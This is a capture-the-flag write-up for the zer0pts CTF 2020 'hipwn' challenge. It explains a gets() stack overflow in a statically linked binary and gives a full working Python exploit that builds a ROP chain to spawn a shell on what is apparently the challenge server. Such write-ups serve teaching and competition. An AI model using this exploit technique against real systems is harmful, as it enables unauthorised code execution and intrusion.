# [zer0pts CTF 2020] hipwn
###### tags: `zer0pts CTF` `pwn`
## Overview
We're given an ELF and its source code. RELRO, SSP, PIE are disabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No      0               0       chall

## Solution
### Vulnerability
You'll immediately find the vulnerability by reading the source code.
As it uses `gets` function, it has **Stack Overflow**.
Since the binary is statically linked, we have to get the shell by ROP.

### Plan
We craft a ROP chain equivalent to the following code:

mov rdi, "/bin/sh\0"
mov rsi, 0
mov rdx, 0
mov rax, 59 ; SYS_execve
syscall

We have to prepare the string `/bin/sh` in bss or somewhere.

### Exploit

from ptrlib import *

#sock = Process("../distfiles/chall")
sock = Socket("13.231.207.73", 9010)

rop_pop_rdx = 0x004023f5
rop_pop_rsi_r15 = 0x0040141a
rop_pop_rdi = 0x0040141c
rop_pop_rax = 0x00400121
rop_syscall = 0x004024dd
addr_gets = 0x4004ee
addr_binsh = 0x604800

payload = b'A' * 0x108
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(addr_gets)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rsi_r15)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(rop_syscall)

sock.recvline()
sock.sendline(payload)

sock.sendline("/bin/sh")

sock.interactive()